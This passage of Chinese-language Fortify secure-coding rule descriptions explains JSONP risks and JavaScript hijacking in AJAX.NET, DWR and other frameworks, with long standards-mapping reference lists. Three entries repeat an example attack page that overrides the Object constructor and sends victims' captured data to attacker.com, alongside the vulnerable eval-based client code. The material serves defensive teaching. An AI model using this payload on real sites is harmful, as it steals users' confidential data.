[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.python.javascript_hijacking_constructor_poisoning
Abstract
JSONP 是一种不安全的通信技术,仅可在不涉及个人或敏感数据并检查回调函数的情况下使用。
Explanation
通过设计 JSONP 可允许执行跨域请求,但是它缺乏限制和验证请求源的机制。恶意站点可以轻松地以用户的名义执行 JSONP 请求并处理 JSON 响应。因此,强烈建议在发送 PII 或敏感数据时避免使用此通信技术。
JSONP 在设计上是自我攻击的 XSS 攻击,因为回调函数名需要被反射到请求站点以正确进行 JSON 处理。强制验证和检查回调函数名以避免 JavaScript 注入攻击。为了检查回调函数名,请考虑在可能的情况下建立允许列表或将字符限制为仅包含字母数字。
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_jsonp
Abstract
JSONP 是一种不安全的通信技术,仅可在不涉及个人或敏感数据的情况下使用。
Explanation
通过设计 JSONP 可允许执行跨域请求,但是它缺乏限制和验证请求来源的机制。 恶意站点可以轻松地以用户的名义执行 JSONP 请求并处理 JSON 响应。 因此,强烈建议在发送 PII 或敏感数据时避免使用此通信技术。
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.scala.javascript_hijacking_jsonp
Abstract
运行 Microsoft AJAX.NET (Atlas) 的应用程序易受到 JavaScript 劫持,使未经授权的攻击者能够读取机密信息。
Explanation
Microsoft AJAX.NET (Atlas) 使用 JSON 在服务器和客户端之间传送数据。该框架生成的响应由可以使用 <script> 标签求值的有效 JavaScript 组成,因此很容易受到 JavaScript 劫持的攻击 [1]。默认情况下,这个框架使用 POST 方法提交请求,这样就很难从恶意 <script> 标签生成请求(因为 <script> 标签仅生成 GET 请求)。尽管如此,Microsoft AJAX.NET 确实提供了使用 GET 请求的机制。事实上,许多专家建议程序员使用 GET 请求,以减少浏览器缓存和改善性能。

如果发生以下情况,应用程序可能会很容易受到 JavaScript 劫持的攻击:1) 将 JavaScript 对象用作数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现,所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码,引起人们对潜在的 JavaScript 劫持漏洞的注意。

Web 浏览器执行同源策略 (Same Origin Policy),以保护用户免受恶意网站的攻击。同源策略 (Same Origin Policy) 规定:如果要使用 JavaScript 来访问某个网页的内容的话,则 JavaScript 和网页必须都来源于相同的域。若不采取同源策略 (Same Origin Policy),恶意网站便可以使用客户端凭证来运行 JavaScript,从其他网站加载的敏感信息,并对这些信息进行提炼,然后将其返回给攻击者。通过 JavaScript 劫持,攻击者可以绕过 Web 应用程序中使用的同源策略 (Same Origin Policy),该应用程序使用 JavaScript 来交流机密信息。同源策略 (Same Origin Policy) 中的漏洞是:通过这一策略,任何网站的 JavaScript 都可以被其他网站的上下文包含或执行。即使恶意网站不能直接在客户端上检查易受攻击的站点中加载的所有数据,但它仍可以通过配置一个特定的环境利用该漏洞。有了这样的环境,恶意网站就可以监视 JavaScript 的执行过程和任何可能发生的相关负面效应。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制,因此,与传统的 Web 应用程序不同,它们往往很容易受到各种攻击。

JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型:阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易,因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式,在应用程序需要交换多个值时会普遍使用该形式。换句话说,一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击,这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。

示例 1:在以下示例中,开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互,这一 Web 应用程序用于管理潜在商机。接下来,它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意,本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时,没有使用 new 运算符,则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据,并通过以下代码评估 JSON 结果:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


当此代码运行时,它会生成一个如下所示的 HTTP 请求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(在本 HTTP 响应和随后的响应中,我们省略了与该解释没有直接关系的 HTTP 头信息。)
服务器使用 JSON 格式的数组进行响应:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


这种情况下,JSON 中包含了与当前用户相关的机密信息(一组潜在商机数据)。其他用户如果不知道该用户的会话标识符,便无法访问这些信息。(在大多数现代 Web 应用程序中,会话标识符存储在 cookie 中。)然而,如果受害者访问某个恶意网站,恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后,访问包含以下恶意代码的网页,受害者的重要信息就会被发送到攻击者的网站中。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之,处理此请求时将认为其源自合法应用程序。

当 JSON 阵列到达客户端时,将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估,恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法,恶意代码已插入一个钩子,该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反,其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 -- 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型,但不可能两者兼备。如果用户未登录到易受攻击的网站,攻击者可以要求用户登录,然后显示该应用程序的合法登录页面。

这不是钓鱼攻击 -- 攻击者未获得用户凭证的访问权限 -- 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签,向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是,在此混合应用情况中,涉及的应用程序之一是恶意的。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_vulnerable_framework
Abstract
利用 DWR Ajax 框架 1.1.4 及更早版本的应用程序可能存在 JavaScript Hijacking 漏洞,未经授权的攻击者可通过此漏洞读取机密数据。
Explanation
所有已发布的 DWR 版本(包括 1.1.4)都可能存在 JavaScript Hijacking 漏洞 [1]。迄今为止,该框架还未形成任何防御此漏洞的机制。好消息是,DWR 2.0 通过 Cross-Site Request Forgery 防御机制来防范 JavaScript Hijacking 漏洞。此保护利用恶意脚本无法读取由其他域设置的 Cookie 中存储的机密这一事实,使框架能够使用 Cookie 中存储的值作为客户端与服务器之间的共享机密。DWR 2.0 自动将会话 Cookie 附加到客户端中的请求,并在服务器上验证每个请求是否包含正确的值。

如果发生以下情况,应用程序可能会很容易受到 JavaScript 劫持的攻击:1) 使用 JavaScript 对象作为数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现,所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码,引起人们对潜在的 JavaScript 劫持漏洞的注意。

Web 浏览器强制执行同源策略,防止用户受到恶意网站的侵害。同源策略要求,为确保使用 JavaScript 访问 Web 页面内容,JavaScript 和 Web 页面必须来自同一个域。如果不实施同源策略,恶意网站可能就会使用客户端凭据运行从其他网站加载敏感信息的 JavaScript,并对这些信息进行提炼,然后将其返回给攻击者。JavaScript Hijacking 允许攻击者在 Web 应用程序使用 JavaScript 传递机密信息的情况下绕过同源策略。同源策略的漏洞在于,允许将来自任何网站的 JavaScript 纳入任何其他网站的上下文并予以执行。即使恶意站点无法直接检查从易受攻击的客户端站点加载的任何数据,但仍然可以通过设置环境来利用此漏洞,使其能够见证 JavaScript 的执行过程及其可能产生的任何相关副作用。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制,因此通常容易受到攻击,而传统 Web 应用程序则不然。

JavaScript 最常见的信息传输格式是 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 对象字面量语法子集。JSON 基于两种数据结构:数组和对象。任何可将消息解释为一个或多个有效 JavaScript 语句的数据传输格式都可能存在 JavaScript Hijacking 漏洞。鉴于 JSON 数组作为有效 JavaScript 语句独立存在,因此 JSON 更容易出现 JavaScript Hijacking 漏洞。由于数组是一种自然通信列表形式,因而通常在应用程序需要传递多个值时使用。换言之,JSON 数组可能直接存在 JavaScript Hijacking 漏洞。JSON 对象只有封装到某种其他 JavaScript 构造时才会出现漏洞,该构造本身就是有效 JavaScript 语句。

示例 1:以下示例首先展示了用于管理潜在销售客户的 Web 应用程序的客户端与服务器组件之间的合法 JSON 交互。接着,展示了攻击者如何模仿客户端及获取对服务器返回的机密数据的访问权限。请注意,此示例专为基于 Mozilla 的浏览器编写。其他主流浏览器不允许在不使用 New 运算符的情况下创建对象时覆盖本机构造函数。

客户端从服务器请求数据,使用以下代码将结果作为 JSON 计算:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


当此代码运行时,它会生成一个如下所示的 HTTP 请求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(在此 HTTP 响应及之后的响应中,我们省略了与此解释非直接相关的 HTTP 标头。)
服务器通过 JSON 格式的数组做出响应:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


在这种情况下,JSON 包含与当前用户(潜在销售客户列表)相关的机密信息。除非掌握用户的会话标识符,否则其他用户无法访问此信息。(在大多数现代 Web 应用程序中,会话标识符存储为 Cookie。)但是,如果受害者访问恶意网站,恶意网站可以利用 JavaScript Hijacking 漏洞检索信息。如果可以诱使受害者访问包含以下恶意代码的网页,受害者的潜在客户信息将被发送到攻击者网站。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


恶意代码使用脚本标签将 JSON 对象添加到当前页面。Web 浏览器会将相应的会话 Cookie 与请求一起发出。换言之,将像对待来自合法应用程序的请求一样处理此请求。

当 JSON 数组到达客户端时,将在恶意页面的上下文中对其进行求值。为见证 JSON 求值,恶意页面重新定义了创建新对象所使用的 JavaScript 函数。这样,恶意代码插入了挂钩,使其能够访问每个对象的创建过程并将对象内容传回恶意站点。其他攻击可能改为覆盖数组的默认构造函数。为在 mashup 中使用而编译的应用程序有时会在每条 JavaScript 消息的末尾调用回调函数。回调函数将通过 mashup 中的另一个应用程序进行定义。回调函数使 JavaScript Hijacking 攻击变得轻而易举,攻击者只需定义函数即可。应用程序可以支持 mashup,也可以固定,但两者不能混用。如果用户未登录易受攻击的站点,攻击者可能要求用户登录并显示应用程序的合法登录页面作为补偿。

此攻击不属于网络钓鱼攻击,攻击者无法访问用户凭据,因此反网络钓鱼对策无法抵御这类攻击。较复杂的攻击可以使用 JavaScript 动态生成脚本标签,向应用程序发出一系列请求。此技术有时也用于创建应用程序 mashup。唯一的区别在于,在这种 mashup 场景下,涉及的一种应用程序为恶意应用程序。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.config.java.javascript_hijacking_vulnerable_framework
Abstract
使用 JavaScript 符号来传送敏感数据的应用程序可能会存在 JavaScript hijacking 的漏洞,该漏洞允许未经授权的攻击者从一个易受攻击的应用程序中读取机密数据。
Explanation
如果发生以下情况,应用程序可能会很容易受到 JavaScript 劫持的攻击:1) 将 JavaScript 对象用作数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现,所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码,引起人们对潜在的 JavaScript 劫持漏洞的注意。

Web 浏览器强制执行同源策略,以防止用户受到恶意网站的侵害。同源策略要求,为确保使用 JavaScript 访问 Web 页面内容,JavaScript 和 Web 页面必须来自同一个域。如果不实施同源策略,恶意网站可能就会使用客户端凭据运行从其他网站加载敏感信息的 JavaScript,并对这些信息进行提炼,然后将其返回给攻击者。JavaScript Hijacking 允许攻击者在 Web 应用程序使用 JavaScript 传递机密信息的情况下绕过同源策略。同源策略的漏洞在于,允许将来自任何网站的 JavaScript 纳入任何其他网站的上下文并予以执行。即使恶意站点无法直接检查从易受攻击的客户端站点加载的任何数据,但仍然可以通过设置环境来利用此漏洞,使其能够见证 JavaScript 的执行过程及其可能产生的任何相关副作用。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制,因此通常容易受到攻击,而传统 Web 应用程序则不然。

JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型:阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易,因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式,在应用程序需要交换多个值时会普遍使用该形式。换句话说,一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击,这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。

示例 1:在以下示例中,开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互,这一 Web 应用程序用于管理潜在商机。接下来,它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意,本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时,没有使用 new 运算符,则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据,并通过以下代码评估 JSON 结果:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


当此代码运行时,它会生成一个如下所示的 HTTP 请求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(在本 HTTP 响应和随后的响应中,我们省略了与该解释没有直接关系的 HTTP 头信息。)
服务器使用 JSON 格式的数组进行响应:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


这种情况下,JSON 中包含了与当前用户相关的机密信息(一组潜在商机数据)。其他用户如果不知道该用户的会话标识符,便无法访问这些信息。(在大多数现代 Web 应用程序中,会话标识符存储在 cookie 中。)然而,如果受害者访问某个恶意网站,恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后,访问包含以下恶意代码的网页,受害者的重要信息就会被发送到攻击者的网站中。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之,处理此请求时将认为其源自合法应用程序。

当 JSON 阵列到达客户端时,将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估,恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法,恶意代码已插入一个钩子,该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反,其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 -- 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型,但不可能两者兼备。如果用户未登录到易受攻击的网站,攻击者可以要求用户登录,然后显示该应用程序的合法登录页面。

